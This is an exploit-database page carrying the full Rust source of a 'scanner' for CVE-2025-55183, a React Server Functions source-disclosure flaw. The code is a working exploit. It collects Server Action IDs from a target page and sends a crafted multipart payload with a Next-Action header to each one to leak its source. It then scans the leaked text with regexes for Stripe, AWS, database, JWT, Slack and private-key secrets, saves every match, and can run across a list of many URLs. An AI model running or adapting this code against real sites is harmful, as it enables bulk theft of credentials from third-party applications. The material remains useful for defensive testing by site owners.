Exploit databaseDownload repository ZIP
GH-78e12d29b2a24c08f4bfc5beb568de96
saturate/cve-2025-55183
Sources for CVE-2025-55183
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
saturate/cve-2025-55183Revision bc1abd373dea
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
scanner/src/main.rs
Suggested starting fileRust · 14,509 bytesuse anyhow::Result;
use chrono::Local;
use clap::Parser;
use colored::*;
use regex::Regex;
use reqwest::{Client, redirect::Policy};
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
use std::fs;
use std::path::PathBuf;
use std::time::Duration;
#[derive(Parser, Debug)]
#[command(name = "scanner")]
#[command(about = "CVE-2025-55183 Scanner - React Server Functions Vulnerability Scanner", long_about = None)]
struct Args {
/// Target URL to scan
#[arg(short, long, conflicts_with = "file")]
url: Option<String>,
/// File containing URLs to scan (one per line)
#[arg(short, long, conflicts_with = "url")]
file: Option<PathBuf>,
/// Output directory for results
#[arg(short, long, default_value = "scan-results")]
output: PathBuf,
/// Request timeout in seconds
#[arg(short = 't', long, default_value = "30")]
timeout: u64,
/// Verbose output
#[arg(short, long)]
verbose: bool,
/// Save all responses
#[arg(short = 'a', long)]
save_all: bool,
/// Custom cookies for authenticated requests
#[arg(short, long)]
cookies: Option<String>,
}
#[derive(Debug, Serialize, Deserialize)]
struct ScanResult {
url: String,
timestamp: String,
actions_found: usize,
actions_exploited: usize,
vulnerabilities: Vec<Vulnerability>,
}
#[derive(Debug, Clone, Serialize, Deserialize)]
struct Vulnerability {
action_id: String,
secret_type: String,
matched_text: String,
context: String,
}
struct Scanner {
client: Client,
args: Args,
}
impl Scanner {
fn new(args: Args) -> Result<Self> {
let client = Client::builder()
.redirect(Policy::limited(10))
.timeout(Duration::from_secs(args.timeout))
.user_agent("CVE-2025-55183-Scanner/1.0")
.build()?;
Ok(Self { client, args })
}
async fn scan(&self, url: &str) -> Result<()> {
println!("[*] Fetching {}...", url);
let response = self.client.get(url).send().await?;
let status = response.status();
let body = response.text().await?;
println!("[+] Status: {}", status);
println!("[+] Response size: {} bytes", body.len());
// Extract Server Action IDs
let action_ids = self.extract_action_ids(&body)?;
if action_ids.is_empty() {
println!("{}", "[-] No Server Action IDs found".yellow());
println!(" This may not be a React Server Components application");
return Ok(());
}
println!("{}", format!("[+] Found {} Server Action IDs", action_ids.len()).green());
if self.args.verbose {
for id in &action_ids {
println!(" - {}", id);
}
}
// Step 2: Exploit each action
let mut result = ScanResult {
url: url.to_string(),
timestamp: Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
actions_found: action_ids.len(),
actions_exploited: 0,
vulnerabilities: Vec::new(),
};
println!();
println!("[*] Attempting exploitation...");
for (idx, action_id) in action_ids.iter().enumerate() {
println!();
println!("[{}/{}] Exploiting action: {}...",
idx + 1, action_ids.len(), &action_id[..12]);
match self.exploit_action(url, action_id).await {
Ok(response_text) => {
result.actions_exploited += 1;
// Check for exposed secrets
let vulns = self.check_for_secrets(action_id, &response_text);
if !vulns.is_empty() {
println!("{}", format!(" [!!!] {} secrets exposed!", vulns.len()).red().bold());
for vuln in &vulns {
println!(" - {}: {}", vuln.secret_type,
&vuln.matched_text.chars().take(50).collect::<String>());
}
result.vulnerabilities.extend(vulns);
} else {
println!(" [+] Exploited (no secrets detected)");
}
// Save response if requested
if self.args.save_all || !result.vulnerabilities.is_empty() {
self.save_action_response(url, action_id, &response_text)?;
}
}
Err(e) => {
if self.args.verbose {
println!(" [-] Failed: {}", e);
}
}
}
}
// Summary
self.print_summary(&result);
self.save_results(&result)?;
Ok(())
}
fn extract_action_ids(&self, body: &str) -> Result<Vec<String>> {
// Match both escaped and unescaped JSON
let pattern = Regex::new(r#"\\?"id\\?":\\?"([a-f0-9]{40,42})\\?""#)?;
let mut ids = HashSet::new();
for cap in pattern.captures_iter(body) {
if let Some(id) = cap.get(1) {
ids.insert(id.as_str().to_string());
}
}
Ok(ids.into_iter().collect())
}
async fn exploit_action(&self, url: &str, action_id: &str) -> Result<String> {
// Create multipart form-data payload as per CVE-2025-55183 exploitation
let boundary = "----SourceLeak";
let payload = format!(
"------SourceLeak\r\n\
Content-Disposition: form-data; name=\"0\"\r\n\r\n\
[\"$F1\"]\r\n\
------SourceLeak\r\n\
Content-Disposition: form-data; name=\"1\"\r\n\r\n\
{{\"id\":\"{}\",\"bound\":null}}\r\n\
------SourceLeak--\r\n",
action_id
);
let response = self.client
.post(url)
.header("Accept", "text/x-component")
.header("Next-Action", action_id)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(payload)
.send()
.await?;
let status = response.status();
let text = response.text().await?;
if self.args.verbose {
println!(" Status: {}, Response: {} bytes", status, text.len());
}
Ok(text)
}
fn check_for_secrets(&self, action_id: &str, text: &str) -> Vec<Vulnerability> {
let mut vulns = Vec::new();
let patterns = vec![
("Stripe API Key", r"sk_live_[a-zA-Z0-9]{24,}"),
("Stripe Webhook Secret", r"whsec_[a-zA-Z0-9]{24,}"),
("AWS Access Key", r"AKIA[0-9A-Z]{16}"),
("AWS Secret Key", r"wJalrXUtnFEMI/[a-zA-Z0-9+/]{10,}"),
("Database URL (Postgres)", r#"postgres://[^\s"'\\]+"#),
("Database URL (MongoDB)", r#"mongodb://[^\s"'\\]+"#),
("Database URL (MySQL)", r#"mysql://[^\s"'\\]+"#),
("JWT Secret", r#"(?i)jwt[_-]?secret['"\\]?\s*[:=]"#),
("Admin Password", r#"(?i)admin[_-]?password['"\\]?\s*[:=]"#),
("Bearer Token", r"Bearer [a-zA-Z0-9\-._~+/]{20,}"),
("SendGrid API Key", r"SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}"),
("Firebase API Key", r"AIzaSy[a-zA-Z0-9_-]{33}"),
("Slack Webhook", r"https://hooks\.slack\.com/services/T[a-zA-Z0-9_]{8,}/B[a-zA-Z0-9_]{8,}/[a-zA-Z0-9_]{24,}"),
("Discord Webhook", r"https://discord\.com/api/webhooks/\d+/[a-zA-Z0-9_-]+"),
("Redis URL", r#"redis://[^\s"'\\]+"#),
("Private Key", r"-----BEGIN [A-Z ]+ PRIVATE KEY-----"),
];
for (secret_type, pattern) in patterns {
if let Ok(regex) = Regex::new(pattern) {
for cap in regex.captures_iter(text) {
let matched = cap.get(0).map(|m| m.as_str()).unwrap_or("");
if !matched.is_empty() {
// Get context (50 chars before and after)
let match_pos = text.find(matched).unwrap_or(0);
let start = match_pos.saturating_sub(50);
let end = (match_pos + matched.len() + 50).min(text.len());
let context = &text[start..end];
vulns.push(Vulnerability {
action_id: action_id.to_string(),
secret_type: secret_type.to_string(),
matched_text: matched.to_string(),
context: context.to_string(),
});
}
}
}
}
vulns
}
fn save_action_response(&self, url: &str, action_id: &str, response: &str) -> Result<()> {
let timestamp = Local::now().format("%Y%m%d_%H%M%S").to_string();
let url_safe = url
.replace("http://", "")
.replace("https://", "")
.replace("/", "_")
.replace(":", "_");
let dir = self.args.output.join(format!("{}_{}", timestamp, url_safe));
let actions_dir = dir.join("actions");
fs::create_dir_all(&actions_dir)?;
let filename = actions_dir.join(format!("{}.txt", &action_id[..12]));
fs::write(filename, response)?;
Ok(())
}
fn save_results(&self, result: &ScanResult) -> Result<()> {
let timestamp = Local::now().format("%Y%m%d_%H%M%S").to_string();
let url_safe = result.url
.replace("http://", "")
.replace("https://", "")
.replace("/", "_")
.replace(":", "_");
let dir = self.args.output.join(format!("{}_{}", timestamp, url_safe));
fs::create_dir_all(&dir)?;
// Save JSON report
let report_path = dir.join("report.json");
let json = serde_json::to_string_pretty(&result)?;
fs::write(&report_path, json)?;
// Save vulnerabilities
if !result.vulnerabilities.is_empty() {
let vuln_dir = dir.join("vulnerabilities");
fs::create_dir_all(&vuln_dir)?;
for (idx, vuln) in result.vulnerabilities.iter().enumerate() {
let filename = vuln_dir.join(format!("{:03}_{}.txt", idx + 1,
vuln.secret_type.replace(" ", "_").to_lowercase()));
let content = format!(
"Type: {}\n\
Action ID: {}\n\
Matched: {}\n\n\
Context:\n\
{}\n",
vuln.secret_type,
vuln.action_id,
vuln.matched_text,
vuln.context
);
fs::write(filename, content)?;
}
}
println!();
println!("[+] Results saved to: {}", dir.display());
Ok(())
}
fn print_summary(&self, result: &ScanResult) {
println!();
println!("{}", "=".repeat(60).blue());
println!("{}", "SCAN SUMMARY".blue().bold());
println!("{}", "=".repeat(60).blue());
println!("URL: {}", result.url);
println!("Actions found: {}", result.actions_found);
println!("Actions exploited: {}", result.actions_exploited);
println!("Secrets exposed: {}", result.vulnerabilities.len());
if !result.vulnerabilities.is_empty() {
println!();
println!("{}", "VULNERABILITY DETECTED!".red().bold());
println!("{}", format!("This application is vulnerable to CVE-2025-55183").red());
println!("{}", format!("Server Action source code including secrets was exposed!").red());
println!();
println!("Exposed secrets by type:");
let mut secret_counts = std::collections::HashMap::new();
for vuln in &result.vulnerabilities {
*secret_counts.entry(&vuln.secret_type).or_insert(0) += 1;
}
for (secret_type, count) in secret_counts {
println!(" - {}: {}", secret_type, count);
}
} else if result.actions_exploited > 0 {
println!();
println!("{}", "No secrets detected in responses".yellow());
println!("The application may still be vulnerable if:");
println!(" - Actions contain sensitive logic");
println!(" - Secrets are loaded from environment variables");
} else {
println!();
println!("{}", "No vulnerabilities detected".green());
}
println!("{}", "=".repeat(60).blue());
}
}
#[tokio::main]
async fn main() -> Result<()> {
let args = Args::parse();
// Validate that either --url or --file is provided
if args.url.is_none() && args.file.is_none() {
eprintln!("Error: Either --url or --file must be provided");
std::process::exit(1);
}
println!("{}", "=".repeat(60).blue());
println!("{}", "CVE-2025-55183 Scanner".blue().bold());
println!("{}", "React Server Functions Source Code Disclosure".blue());
println!("{}", "=".repeat(60).blue());
println!();
let scanner = Scanner::new(args)?;
if let Some(url) = &scanner.args.url {
// Single URL scan
scanner.scan(url).await?;
} else if let Some(file_path) = &scanner.args.file {
// Multi-URL scan from file
let contents = fs::read_to_string(file_path)?;
let urls: Vec<&str> = contents.lines()
.map(|line| line.trim())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if urls.is_empty() {
eprintln!("Error: No URLs found in file");
std::process::exit(1);
}
println!("[*] Loaded {} URLs from {}", urls.len(), file_path.display());
println!();
for (idx, url) in urls.iter().enumerate() {
println!("{}", format!("Scanning {}/{}: {}", idx + 1, urls.len(), url).cyan().bold());
println!();
match scanner.scan(url).await {
Ok(_) => {},
Err(e) => {
eprintln!("{}", format!("[-] Error scanning {}: {}", url, e).red());
}
}
if idx < urls.len() - 1 {
println!();
println!("{}", "-".repeat(60).blue());
println!();
}
}
}
Ok(())
}